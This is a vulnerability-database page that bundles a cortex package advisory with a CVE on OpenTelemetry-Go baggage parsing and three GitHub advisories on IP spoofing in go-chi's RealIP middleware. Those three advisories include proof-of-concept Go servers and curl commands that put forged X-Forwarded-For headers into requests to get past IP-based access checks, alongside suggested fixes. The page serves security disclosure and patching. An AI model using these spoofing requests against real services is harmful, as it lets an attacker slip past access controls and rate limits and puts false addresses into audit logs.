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Vulnerability from cleanstart
Published
2026-08-13 12:10
Modified
2026-08-14 05:56
Summary
Security fixes in cortex 1.20.1-r3
Details
Package cortex version 1.20.1-r3 fixes 5 vulnerabilities: ghsa-259r-337f-4rfw, ghsa-3fxj-6jh8-hvhx, ghsa-9g5q-2w5x-hmxf, ghsa-rjr7-jggh-pgcp, CVE-2026-41178
References
| URL | Type | |
|---|---|---|
{
"affected": [
{
"package": {
"ecosystem": "Alpine",
"name": "cortex"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.20.1-r3"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"1.20.1-r3"
]
}
],
"credits": [],
"database_specific": {},
"details": "Package cortex version 1.20.1-r3 fixes 5 vulnerabilities: ghsa-259r-337f-4rfw, ghsa-3fxj-6jh8-hvhx, ghsa-9g5q-2w5x-hmxf, ghsa-rjr7-jggh-pgcp, CVE-2026-41178",
"id": "CLEANSTART-2026-ZB75097",
"modified": "2026-08-14T05:56:51Z",
"published": "2026-08-13T12:10:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/cortexproject/cortex"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes in cortex 1.20.1-r3",
"upstream": [
"ghsa-259r-337f-4rfw",
"ghsa-3fxj-6jh8-hvhx",
"ghsa-9g5q-2w5x-hmxf",
"ghsa-rjr7-jggh-pgcp",
"CVE-2026-41178"
]
}
CVE-2026-41178 (GCVE-0-2026-41178)
Vulnerability from cvelistv5 – Published: 2026-06-04 14:38 – Updated: 2026-06-04 15:46
VLAI
EPSS
VEX
Title
OpenTelemetry-Go's baggage parsing no longer caps raw header length
Summary
OpenTelemetry-Go is the Go implementation of OpenTelemetry. Versions 1.41.0 and 1.43.0 removed raw-length rejection and it causes `Parse` to process arbitrarily large/invalid baggage headers and log errors, enabling DoS via oversized inputs. Versions 1.42.0 and 1.44.0 fix the issue.
Severity
5.3 (Medium)
SSVC
Exploitation: poc
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-06-04 15:46 UTC
CWE
- CWE-789 - Memory Allocation with Excessive Size Value
Assigner
References
2 references
| URL | Tags |
|---|---|
| https://github.com/open-telemetry/opentelemetry-g… | x_refsource_CONFIRM |
| https://github.com/open-telemetry/opentelemetry-g… | x_refsource_MISC |
Impacted products
2 products
| Vendor | Product | Version | |
|---|---|---|---|
| open-telemetry | go.opentelemetry.io/otel/baggage |
Affected:
= 1.41.0
Affected: = 1.43.0 |
|
| open-telemetry | go.opentelemetry.io/otel/propagation |
Affected:
= 1.41.0
Affected: = 1.43.0 |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-41178",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-06-04T15:46:06.715583Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-06-04T15:46:11.923Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/open-telemetry/opentelemetry-go/security/advisories/GHSA-5wrp-cwcj-q835"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "go.opentelemetry.io/otel/baggage",
"vendor": "open-telemetry",
"versions": [
{
"status": "affected",
"version": "= 1.41.0"
},
{
"status": "affected",
"version": "= 1.43.0"
}
]
},
{
"product": "go.opentelemetry.io/otel/propagation",
"vendor": "open-telemetry",
"versions": [
{
"status": "affected",
"version": "= 1.41.0"
},
{
"status": "affected",
"version": "= 1.43.0"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "OpenTelemetry-Go is the Go implementation of OpenTelemetry. Versions 1.41.0 and 1.43.0 removed raw-length rejection and it causes `Parse` to process arbitrarily large/invalid baggage headers and log errors, enabling DoS via oversized inputs. Versions 1.42.0 and 1.44.0 fix the issue."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-789",
"description": "CWE-789: Memory Allocation with Excessive Size Value",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-06-04T14:38:23.707Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/open-telemetry/opentelemetry-go/security/advisories/GHSA-5wrp-cwcj-q835",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/open-telemetry/opentelemetry-go/security/advisories/GHSA-5wrp-cwcj-q835"
},
{
"name": "https://github.com/open-telemetry/opentelemetry-go/pull/7880",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/open-telemetry/opentelemetry-go/pull/7880"
}
],
"source": {
"advisory": "GHSA-5wrp-cwcj-q835",
"discovery": "UNKNOWN"
},
"title": "OpenTelemetry-Go\u0027s baggage parsing no longer caps raw header length"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-41178",
"datePublished": "2026-06-04T14:38:23.707Z",
"dateReserved": "2026-04-17T16:34:45.526Z",
"dateUpdated": "2026-06-04T15:46:11.923Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GHSA-3FXJ-6JH8-HVHX
Vulnerability from github – Published: 2026-06-25 18:21 – Updated: 2026-06-25 18:21
VLAI
Summary
chi Has an IP Spoofing Vulnerability in `middleware.RealIP`
Details
Summary
The RealIP middleware in go-chi/chi is vulnerable to IP spoofing because it blindly trusts the first (leftmost) element of the X-Forwarded-For HTTP header. This allows a remote attacker to bypass IP-based access control lists (ACLs) and rate-limiting mechanisms by providing a spoofed IP address in the header.
Details
In middleware/realip.go, the realIP function parses the X-Forwarded-For header and extracts the first comma-separated value:
func realIP(r *http.Request) string {
// ...
} else if xff := r.Header.Get(xForwardedFor); xff != "" {
ip, _, _ = strings.Cut(xff, ",")
}
// ...
}
Standard practice for X-Forwarded-For is that each proxy appends the client's IP to the end of the list. However, since the client can also provide this header, the leftmost values are untrusted. A client can send a header like X-Forwarded-For: <spoofed_ip>, <actual_proxy_ip>, and go-chi/chi will treat <spoofed_ip> as the source of the request.
Proof of Concept (PoC)
The following code demonstrates how an attacker can bypass an IP-based restriction.
package main
import (
"fmt"
"net/http"
"net/http/httptest"
"github.com/go-chi/chi/v5"
"github.com/go-chi/chi/v5/middleware"
)
func main() {
r := chi.NewRouter()
// Enable the vulnerable RealIP middleware
r.Use(middleware.RealIP)
// An endpoint that should be restricted to a specific administrator IP (1.2.3.4)
r.Get("/admin/secret", func(w http.ResponseWriter, r *http.Request) {
clientIP := r.RemoteAddr
fmt.Printf("[Server] Request received from IP: %s\n", clientIP)
// Simulate IP-based access control
if clientIP == "1.2.3.4" {
w.WriteHeader(http.StatusOK)
w.Write([]byte("CONFIDENTIAL: The secret code is 42\n"))
} else {
w.WriteHeader(http.StatusForbidden)
w.Write([]byte("Access Denied: You are not an administrator.\n"))
}
})
// --- Attack Simulation ---
fmt.Println("--- PoC: IP Spoofing Attack on chi/middleware.RealIP ---")
// 1. Normal Request (Should be denied)
req1, _ := http.NewRequest("GET", "/admin/secret", nil)
rr1 := httptest.NewRecorder()
r.ServeHTTP(rr1, req1)
fmt.Printf("[Client] Normal Request -> Status: %d, Body: %s", rr1.Code, rr1.Body.String())
// 2. Spoofed Request (Using X-Forwarded-For)
// Attacker claims to be '1.2.3.4'
req2, _ := http.NewRequest("GET", "/admin/secret", nil)
req2.Header.Set("X-Forwarded-For", "1.2.3.4, 5.6.7.8") // 5.6.7.8 is a fake proxy IP
rr2 := httptest.NewRecorder()
r.ServeHTTP(rr2, req2)
fmt.Printf("[Client] Spoofed Request -> Status: %d, Body: %s", rr2.Code, rr2.Body.String())
}
Impact
An attacker can masquerade as any IP address. This can lead to:
- Bypass of Authentication/Authorization: Accessing administrative panels or private APIs restricted by IP.
- Rate Limiting Evasion: Circumbeting rate limiters that use RemoteAddr as a key.
- Log Forgery: Causing incorrect IP addresses to be recorded in security logs.
CWE
- CWE-290: Authentication Bypass by Spoofing
- CWE-345: Insufficient Verification of Data Authenticity
CVSS Score
- CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N (6.9 Moderate)
Affected Versions
github.com/go-chi/chi/v5<=v5.2.1(and all previous versions)
Recommendation
- Stop using
middleware.RealIPif you cannot guarantee that the incoming request headers are from a trusted source and have been sanitized by a proxy. - Implement a trust-based IP extraction mechanism that verifies the chain of proxies.
- Use the
X-Forwarded-Forheader by traversing it from right to left and stopping at the first IP address that is not in your list of trusted proxies.
Suggested Fix
A secure implementation of RealIP should allow developers to specify a list of trusted proxy IP ranges (CIDRs). Below is a conceptual example of how to fix this by traversing the X-Forwarded-For header from right to left:
func GetClientIP(r *http.Request, trustedProxies []net.IPNet) string {
xff := r.Header.Get("X-Forwarded-For")
if xff == "" {
return r.RemoteAddr
}
ips := strings.Split(xff, ",")
// Traverse from right to left
for i := len(ips) - 1; i >= 0; i-- {
ipStr := strings.TrimSpace(ips[i])
ip := net.ParseIP(ipStr)
if ip == nil {
continue
}
if !isTrustedProxy(ip, trustedProxies) {
return ipStr
}
}
return r.RemoteAddr
}
func isTrustedProxy(ip net.IP, trustedProxies []net.IPNet) bool {
for _, network := range trustedProxies {
if network.Contains(ip) {
return true
}
}
return false
}
By providing a configuration like middleware.RealIPWithConfig(Config{TrustedProxies: []string{"10.0.0.0/8"}}) , the middleware can safely identify the true client IP even in complex proxy environments.
Severity
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/go-chi/chi/v5/middleware"
},
"ranges": [
{
"events": [
{
"introduced": "5.2.1"
},
{
"fixed": "5.3.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-290",
"CWE-345"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-25T18:21:37Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\nThe `RealIP` middleware in `go-chi/chi` is vulnerable to IP spoofing because it blindly trusts the first (leftmost) element of the `X-Forwarded-For` HTTP header. This allows a remote attacker to bypass IP-based access control lists (ACLs) and rate-limiting mechanisms by providing a spoofed IP address in the header.\n\n## Details\nIn `middleware/realip.go`, the `realIP` function parses the `X-Forwarded-For` header and extracts the first comma-separated value:\n\n```go\nfunc realIP(r *http.Request) string {\n // ...\n } else if xff := r.Header.Get(xForwardedFor); xff != \"\" {\n ip, _, _ = strings.Cut(xff, \",\")\n }\n // ...\n}\n```\n\nStandard practice for `X-Forwarded-For` is that each proxy appends the client\u0027s IP to the end of the list. However, since the client can also provide this header, the leftmost values are untrusted. A client can send a header like `X-Forwarded-For: \u003cspoofed_ip\u003e, \u003cactual_proxy_ip\u003e`, and `go-chi/chi` will treat `\u003cspoofed_ip\u003e` as the source of the request.\n\n## Proof of Concept (PoC)\nThe following code demonstrates how an attacker can bypass an IP-based restriction.\n\n```go\npackage main\n\nimport (\n \"fmt\"\n \"net/http\"\n \"net/http/httptest\"\n\n \"github.com/go-chi/chi/v5\"\n \"github.com/go-chi/chi/v5/middleware\"\n)\n\nfunc main() {\n r := chi.NewRouter()\n\n // Enable the vulnerable RealIP middleware\n r.Use(middleware.RealIP)\n\n // An endpoint that should be restricted to a specific administrator IP (1.2.3.4)\n r.Get(\"/admin/secret\", func(w http.ResponseWriter, r *http.Request) {\n clientIP := r.RemoteAddr\n fmt.Printf(\"[Server] Request received from IP: %s\\n\", clientIP)\n\n // Simulate IP-based access control\n if clientIP == \"1.2.3.4\" {\n w.WriteHeader(http.StatusOK)\n w.Write([]byte(\"CONFIDENTIAL: The secret code is 42\\n\"))\n } else {\n w.WriteHeader(http.StatusForbidden)\n w.Write([]byte(\"Access Denied: You are not an administrator.\\n\"))\n }\n })\n\n // --- Attack Simulation ---\n fmt.Println(\"--- PoC: IP Spoofing Attack on chi/middleware.RealIP ---\")\n\n // 1. Normal Request (Should be denied)\n req1, _ := http.NewRequest(\"GET\", \"/admin/secret\", nil)\n rr1 := httptest.NewRecorder()\n r.ServeHTTP(rr1, req1)\n fmt.Printf(\"[Client] Normal Request -\u003e Status: %d, Body: %s\", rr1.Code, rr1.Body.String())\n\n // 2. Spoofed Request (Using X-Forwarded-For)\n // Attacker claims to be \u00271.2.3.4\u0027\n req2, _ := http.NewRequest(\"GET\", \"/admin/secret\", nil)\n req2.Header.Set(\"X-Forwarded-For\", \"1.2.3.4, 5.6.7.8\") // 5.6.7.8 is a fake proxy IP\n rr2 := httptest.NewRecorder()\n r.ServeHTTP(rr2, req2)\n fmt.Printf(\"[Client] Spoofed Request -\u003e Status: %d, Body: %s\", rr2.Code, rr2.Body.String())\n}\n```\n\n## Impact\nAn attacker can masquerade as any IP address. This can lead to:\n- **Bypass of Authentication/Authorization:** Accessing administrative panels or private APIs restricted by IP.\n- **Rate Limiting Evasion:** Circumbeting rate limiters that use `RemoteAddr` as a key.\n- **Log Forgery:** Causing incorrect IP addresses to be recorded in security logs.\n\n## CWE\n- **CWE-290:** Authentication Bypass by Spoofing\n- **CWE-345:** Insufficient Verification of Data Authenticity\n\n## CVSS Score\n- **CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N** (6.9 Moderate)\n\n## Affected Versions\n- `github.com/go-chi/chi/v5` \u003c= `v5.2.1` (and all previous versions)\n\n## Recommendation\n1. **Stop using `middleware.RealIP`** if you cannot guarantee that the incoming request headers are from a trusted source and have been sanitized by a proxy.\n2. Implement a trust-based IP extraction mechanism that verifies the chain of proxies.\n3. Use the `X-Forwarded-For` header by traversing it from **right to left** and stopping at the first IP address that is not in your list of trusted proxies.\n\n## Suggested Fix\nA secure implementation of `RealIP` should allow developers to specify a list of trusted proxy IP ranges (CIDRs). Below is a conceptual example of how to fix this by traversing the `X-Forwarded-For` header from right to left:\n\n```go\nfunc GetClientIP(r *http.Request, trustedProxies []net.IPNet) string {\n xff := r.Header.Get(\"X-Forwarded-For\")\n if xff == \"\" {\n return r.RemoteAddr\n }\n\n ips := strings.Split(xff, \",\")\n // Traverse from right to left\n for i := len(ips) - 1; i \u003e= 0; i-- {\n ipStr := strings.TrimSpace(ips[i])\n ip := net.ParseIP(ipStr)\n if ip == nil {\n continue\n }\n\n if !isTrustedProxy(ip, trustedProxies) {\n return ipStr\n }\n }\n\n return r.RemoteAddr\n}\n\nfunc isTrustedProxy(ip net.IP, trustedProxies []net.IPNet) bool {\n for _, network := range trustedProxies {\n if network.Contains(ip) {\n return true\n }\n }\n return false\n}\n```\n\nBy providing a configuration like `middleware.RealIPWithConfig(Config{TrustedProxies: []string{\"10.0.0.0/8\"}})` , the middleware can safely identify the true client IP even in complex proxy environments.",
"id": "GHSA-3fxj-6jh8-hvhx",
"modified": "2026-06-25T18:21:38Z",
"published": "2026-06-25T18:21:37Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-chi/chi/security/advisories/GHSA-3fxj-6jh8-hvhx"
},
{
"type": "PACKAGE",
"url": "https://github.com/go-chi/chi"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "chi Has an IP Spoofing Vulnerability in `middleware.RealIP`"
}
GHSA-9G5Q-2W5X-HMXF
Vulnerability from github – Published: 2026-06-25 18:18 – Updated: 2026-06-25 18:18
VLAI
Summary
chi Middleware Vulnerable to Potential IP Spoofing via `X-Forwarded-For` Header in `Request.RemoteAddr` Resolution
Details
Summary
The vulnerability allows the Request.RemoteAddr to be spoofed when determining the request source IP via the X-Forwarded-For header. This could result in misidentification of the request source and potentially compromise access control and logging integrity.
Details
Currently, the RealIP() implementation splits the X-Forwarded-For header by , and uses the first IP.
https://github.com/go-chi/chi/blob/v5.1.0/middleware/realip.go#L50-L54
However, relying on the first IP in the X-Forwarded-For header is insecure because it can be manipulated by attackers to falsify the source IP.
Malicious Case:
1. A malicious client sends a request with a forged IP in the X-Forwarded-For header: X-Forwarded-For: <forged-ip>
2. The proxy appends the actual client’s IP and forwards the request: X-Forwarded-For: <forged-ip>,<client-ip>
3. If the server always uses the first IP, it becomes vulnerable to IP spoofing.
Ideally, the implementation should verify IPs starting from the end of the X-Forwarded-For header value, skipping trusted IPs within the system, and using the first untrusted IP as the actual client IP.
For example, the labstack/echo web framework processes the X-Forwarded-For header by checking IPs from the end, skipping trusted IPs, and using the first untrusted IP as the client's ip.
https://github.com/labstack/echo/blob/v4.13.2/ip.go#L261-L273
PoC
1. Run the Go application with the following code:
package main
import (
"fmt"
"log"
"net/http"
"github.com/go-chi/chi/v5/middleware"
)
func main() {
// Set handler to print the remote address
handler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
fmt.Fprintln(
w,
fmt.Sprintf("remote addr: %s (want 192.0.2.1)", r.RemoteAddr),
)
})
// Use RealIP middleware
log.Fatal(http.ListenAndServe(":8080", middleware.RealIP(handler)))
}
2. Send a request to the server using curl with a manipulated X-Forwarded-For header:
$ curl localhost:8080 -H 'X-Forwarded-For: 192.0.2.2, 192.0.2.1'
remote addr: 192.0.2.2 (want 192.0.2.1)
Impact
This vulnerability can lead to a request source IP spoofing issue, which may allow attackers to bypass access controls or falsify request logs. It primarily affects systems that rely on X-Forwarded-For to determine the actual client IP, particularly in scenarios where intermediary proxies or load balancers are involved.
Severity
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/go-chi/chi/middleware"
},
"ranges": [
{
"events": [
{
"introduced": "0.9.0"
},
{
"last_affected": "1.5.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/go-chi/chi/v2/middleware"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.1.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/go-chi/chi/v3/middleware"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "3.3.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/go-chi/chi/v4/middleware"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "4.1.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/go-chi/chi/v5/middleware"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.3.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-346"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-25T18:18:56Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nThe vulnerability allows the `Request.RemoteAddr` to be spoofed when determining the request source IP via the `X-Forwarded-For` header. This could result in misidentification of the request source and potentially compromise access control and logging integrity.\n\n### Details\nCurrently, the `RealIP()` implementation splits the `X-Forwarded-For` header by `,` and uses the first IP.\nhttps://github.com/go-chi/chi/blob/v5.1.0/middleware/realip.go#L50-L54\n\nHowever, relying on the first IP in the `X-Forwarded-For` header is insecure because it can be manipulated by attackers to falsify the source IP.\n\nMalicious Case:\n1. A malicious client sends a request with a forged IP in the X-Forwarded-For header: `X-Forwarded-For: \u003cforged-ip\u003e`\n2. The proxy appends the actual client\u2019s IP and forwards the request: `X-Forwarded-For: \u003cforged-ip\u003e,\u003cclient-ip\u003e`\n3. If the server always uses the first IP, it becomes vulnerable to IP spoofing.\n\nIdeally, the implementation should verify IPs starting from the end of the `X-Forwarded-For` header value, skipping trusted IPs within the system, and using the first untrusted IP as the actual client IP.\n\nFor example, the `labstack/echo` web framework processes the `X-Forwarded-For` header by checking IPs from the end, skipping trusted IPs, and using the first untrusted IP as the client\u0027s ip.\nhttps://github.com/labstack/echo/blob/v4.13.2/ip.go#L261-L273\n\n### PoC\n#### 1. Run the Go application with the following code:\n```go\npackage main\n\nimport (\n \"fmt\"\n \"log\"\n \"net/http\"\n\n \"github.com/go-chi/chi/v5/middleware\"\n)\n\nfunc main() {\n // Set handler to print the remote address\n handler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n fmt.Fprintln(\n w,\n fmt.Sprintf(\"remote addr: %s (want 192.0.2.1)\", r.RemoteAddr),\n )\n })\n // Use RealIP middleware\n log.Fatal(http.ListenAndServe(\":8080\", middleware.RealIP(handler)))\n}\n```\n#### 2. Send a request to the server using curl with a manipulated X-Forwarded-For header:\n```\n$ curl localhost:8080 -H \u0027X-Forwarded-For: 192.0.2.2, 192.0.2.1\u0027\nremote addr: 192.0.2.2 (want 192.0.2.1)\n```\n\n### Impact\nThis vulnerability can lead to a request source IP spoofing issue, which may allow attackers to bypass access controls or falsify request logs. It primarily affects systems that rely on X-Forwarded-For to determine the actual client IP, particularly in scenarios where intermediary proxies or load balancers are involved.",
"id": "GHSA-9g5q-2w5x-hmxf",
"modified": "2026-06-25T18:18:56Z",
"published": "2026-06-25T18:18:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-chi/chi/security/advisories/GHSA-9g5q-2w5x-hmxf"
},
{
"type": "PACKAGE",
"url": "https://github.com/go-chi/chi"
},
{
"type": "WEB",
"url": "https://github.com/go-chi/chi/releases/tag/v5.3.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "chi Middleware Vulnerable to Potential IP Spoofing via `X-Forwarded-For` Header in `Request.RemoteAddr` Resolution"
}
GHSA-RJR7-JGGH-PGCP
Vulnerability from github – Published: 2026-06-25 18:19 – Updated: 2026-06-25 18:19
VLAI
Summary
chi's RealIP Middleware allows IP spoofing via unvalidated X-Forwarded-For header
Details
Summary
realip middleware in go-chi/chi trusts headers like x-forwarded-for without checking them, so attackers can fake their ip and bypass rate limits or access controls
Details
the vuln is in middleware/realip.go , the realIP() function pulls IPs straight from client headers and replaces r.RemoteAddr without checking if the request came from a trusted proxy
func realIP(r *http.Request) string {
var ip string
if tcip := r.Header.Get(trueClientIP); tcip != "" {
ip = tcip // controlled by attacker
} else if xrip := r.Header.Get(xRealIP); xrip != "" {
ip = xrip // controlled by attacker
} else if xff := r.Header.Get(xForwardedFor); xff != "" {
ip, _, _ = strings.Cut(xff, ",") // controlled by attacker
}
// ...
return ip
}
no trusted proxy cidr check in place, any client can send these headers
PoC
create a server with chi and use realip middleware
package main
import (
"fmt"
"net/http"
"github.com/go-chi/chi/v5"
"github.com/go-chi/chi/v5/middleware"
)
func main() {
r := chi.NewRouter()
r.Use(middleware.RealIP)
r.Get("/admin", func(w http.ResponseWriter, r *http.Request) {
// ip-based access control got bypassed
if r.RemoteAddr == "127.0.0.1" {
w.Write([]byte("SECRET ADMIN DATA"))
return
}
http.Error(w, "Forbidden", 403)
})
http.ListenAndServe(":8080", r)
}
spoofed the ip to bypass access control
curl -H "X-Forwarded-For: 127.0.0.1" http://localhost:8080/admin
Impact
- ip-based access control bypass lets attackers reach restricted endpoints
- rate limiting bypass lets attackers avoid limits by rotating spoofed ips
- audit logs show fake ips picked by attacker instead of real ones
- attackers can get around geo ip restrictions
Remediation Recommendation
validate proxy cidr first before trusting forwarded ip headers
// add your reverse proxy ip addresses here
var trustedProxies = []net.IPNet{
{IP: net.ParseIP("10.0.0.0"), Mask: net.CIDRMask(8, 32)},
{IP: net.ParseIP("172.16.0.0"), Mask: net.CIDRMask(12, 32)},
{IP: net.ParseIP("192.168.0.0"), Mask: net.CIDRMask(16, 32)},
}
func isTrustedProxy(ip net.IP) bool {
for _, cidr := range trustedProxies {
if cidr.Contains(ip) {
return true
}
}
return false
}
Severity
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/go-chi/chi/middleware"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.5.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/go-chi/chi/v2/middleware"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.1.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/go-chi/chi/v3/middleware"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "3.3.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/go-chi/chi/v4/middleware"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "4.1.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/go-chi/chi/v5/middleware"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.3.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-290",
"CWE-348"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-25T18:19:15Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nrealip middleware in go-chi/chi trusts headers like x-forwarded-for without checking them, so attackers can fake their ip and bypass rate limits or access controls\n\n### Details\n\nthe vuln is in middleware/realip.go , the realIP() function pulls IPs straight from client headers and replaces r.RemoteAddr without checking if the request came from a trusted proxy\n\n```go\nfunc realIP(r *http.Request) string {\n var ip string\n if tcip := r.Header.Get(trueClientIP); tcip != \"\" {\n ip = tcip // controlled by attacker\n } else if xrip := r.Header.Get(xRealIP); xrip != \"\" {\n ip = xrip // controlled by attacker\n } else if xff := r.Header.Get(xForwardedFor); xff != \"\" {\n ip, _, _ = strings.Cut(xff, \",\") // controlled by attacker\n }\n // ...\n return ip\n}\n```\n\nno trusted proxy cidr check in place, any client can send these headers\n\n### PoC\n\ncreate a server with chi and use realip middleware\n\n```go\npackage main\n\nimport (\n \"fmt\"\n \"net/http\"\n \"github.com/go-chi/chi/v5\"\n \"github.com/go-chi/chi/v5/middleware\"\n)\n\nfunc main() {\n r := chi.NewRouter()\n r.Use(middleware.RealIP)\n\n r.Get(\"/admin\", func(w http.ResponseWriter, r *http.Request) {\n // ip-based access control got bypassed\n if r.RemoteAddr == \"127.0.0.1\" {\n w.Write([]byte(\"SECRET ADMIN DATA\"))\n return\n }\n http.Error(w, \"Forbidden\", 403)\n })\n\n http.ListenAndServe(\":8080\", r)\n}\n```\n\nspoofed the ip to bypass access control\n\n```bash\ncurl -H \"X-Forwarded-For: 127.0.0.1\" http://localhost:8080/admin\n```\n\n\n### Impact\n\n- ip-based access control bypass lets attackers reach restricted endpoints\n- rate limiting bypass lets attackers avoid limits by rotating spoofed ips\n- audit logs show fake ips picked by attacker instead of real ones\n- attackers can get around geo ip restrictions\n\n## Remediation Recommendation\n\nvalidate proxy cidr first before trusting forwarded ip headers\n\n```go\n// add your reverse proxy ip addresses here\nvar trustedProxies = []net.IPNet{\n {IP: net.ParseIP(\"10.0.0.0\"), Mask: net.CIDRMask(8, 32)},\n {IP: net.ParseIP(\"172.16.0.0\"), Mask: net.CIDRMask(12, 32)},\n {IP: net.ParseIP(\"192.168.0.0\"), Mask: net.CIDRMask(16, 32)},\n}\n\nfunc isTrustedProxy(ip net.IP) bool {\n for _, cidr := range trustedProxies {\n if cidr.Contains(ip) {\n return true\n }\n }\n return false\n}\n```",
"id": "GHSA-rjr7-jggh-pgcp",
"modified": "2026-06-25T18:19:15Z",
"published": "2026-06-25T18:19:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-chi/chi/security/advisories/GHSA-rjr7-jggh-pgcp"
},
{
"type": "PACKAGE",
"url": "https://github.com/go-chi/chi"
},
{
"type": "WEB",
"url": "https://github.com/go-chi/chi/releases/tag/v5.3.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "chi\u0027s RealIP Middleware allows IP spoofing via unvalidated X-Forwarded-For header"
}
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Trend slope:
-
(linear fit over daily sighting counts)
Show additional events:
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Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
